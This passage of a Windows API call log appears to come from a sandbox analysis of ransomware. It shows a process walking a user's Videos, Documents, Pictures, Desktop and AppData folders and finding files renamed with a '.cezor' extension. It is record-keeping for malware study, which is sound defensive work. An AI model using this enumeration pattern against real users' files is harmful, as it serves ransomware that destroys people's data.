(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0122.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0122.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.706] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.706] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.706] PathFindFileNameW (pszPath="") returned="" [0122.706] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x14f53790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14f53790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.706] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\Gx9Mb.swf.cezor") returned=".cezor" [0122.707] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\I42cS5 VvN3aGuFi.mp4.cezor") returned=".cezor" [0122.707] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\IE-asuVeDit5fMSdkB0.flv.cezor") returned=".cezor" [0122.707] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\v2tEOgOZeF-wSXfUeb.mp4.cezor") returned=".cezor" [0122.707] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\ZNFPhs7VtfT6Wy.mp4.cezor") returned=".cezor" [0122.707] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.707] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.707] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.708] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.708] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.708] PathFindFileNameW (pszPath="") returned="" [0122.708] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.709] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.709] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.709] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.709] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.709] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.709] PathFindFileNameW (pszPath="") returned="" [0122.709] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.711] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.712] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.712] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.712] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.712] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.712] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.712] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.712] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.712] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.712] PathFindFileNameW (pszPath="") returned="" [0122.712] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.713] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.713] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.713] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\") returned="T0CQ8VVBC5Xi_UA\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\") returned="Qz91k6FGRf5u2kNaQ\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.713] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.713] PathFindFileNameW (pszPath="") returned="" [0122.713] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0ac61b0, ftCreationTime.dwHighDateTime=0x1d4d2ee, ftLastAccessTime.dwLowDateTime=0x14f9fa50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14f9fa50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.717] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\5 wO.jpg.cezor") returned=".cezor" [0122.717] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xIlfywT2BL_f.m4a.cezor") returned=".cezor" [0122.717] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.717] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.717] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0122.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0122.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.718] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.718] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.718] PathFindFileNameW (pszPath="") returned="" [0122.718] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x14fc5bb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14fc5bb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.720] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.cezor") returned=".cezor" [0122.720] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.720] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.720] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\") returned="NtnCGgs\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.720] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.720] PathFindFileNameW (pszPath="") returned="" [0122.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad0bcd30, ftCreationTime.dwHighDateTime=0x1d4cbe8, ftLastAccessTime.dwLowDateTime=0x14febd10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14febd10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.721] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\70Jmk.odp.cezor") returned=".cezor" [0122.721] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.721] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.721] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\") returned="Rpss_8PAcreSznq0jw9\\" [0122.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.722] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.722] PathFindFileNameW (pszPath="") returned="" [0122.722] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d14890, ftCreationTime.dwHighDateTime=0x1d4d320, ftLastAccessTime.dwLowDateTime=0x15084290, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15084290, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\F0eUqh0cOkUTa7DO.docx.cezor") returned=".cezor" [0122.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\FN--.ods.cezor") returned=".cezor" [0122.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\K_RwYW.odt.cezor") returned=".cezor" [0122.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\NxEBIllQ9 cZLQxHAnf.xlsx.cezor") returned=".cezor" [0122.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\xkuwOm0rA.ods.cezor") returned=".cezor" [0122.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\ypdm7CG6ozW8_F3RQh.pps.cezor") returned=".cezor" [0122.724] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.725] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.725] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\") returned="gJs687PmdwJ\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\") returned="1oLW\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.725] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.725] PathFindFileNameW (pszPath="") returned="" [0122.725] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x644d4c50, ftCreationTime.dwHighDateTime=0x1d4cbba, ftLastAccessTime.dwLowDateTime=0x1511c810, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1511c810, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\1m7527vbdeC.gif.cezor") returned=".cezor" [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\8jZ3LBgNvW1arBclEu8.gif.cezor") returned=".cezor" [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\axSg-zF.gif.cezor") returned=".cezor" [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\cSaVaB0sUlp.gif.cezor") returned=".cezor" [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\E5 Uz-9etUMMH3CKQC.bmp.cezor") returned=".cezor" [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\EWTals.png.cezor") returned=".cezor" [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\TK27wDdNd6Xfl 2b_k_.gif.cezor") returned=".cezor" [0122.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\Wqelj SIFg-o4.png.cezor") returned=".cezor" [0122.728] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.729] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.729] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.729] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.729] PathFindFileNameW (pszPath="") returned="" [0122.729] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7427b70, ftCreationTime.dwHighDateTime=0x1d4cbdd, ftLastAccessTime.dwLowDateTime=0x15168ad0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15168ad0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\kU7oVdD-q0QJXT.swf.cezor") returned=".cezor" [0122.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\uYUuV.swf.cezor") returned=".cezor" [0122.731] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.731] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.731] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.731] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.731] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.731] PathFindFileNameW (pszPath="") returned="" [0122.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.732] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.732] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.732] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.732] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.732] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.732] PathFindFileNameW (pszPath="") returned="" [0122.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.733] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.733] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.733] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 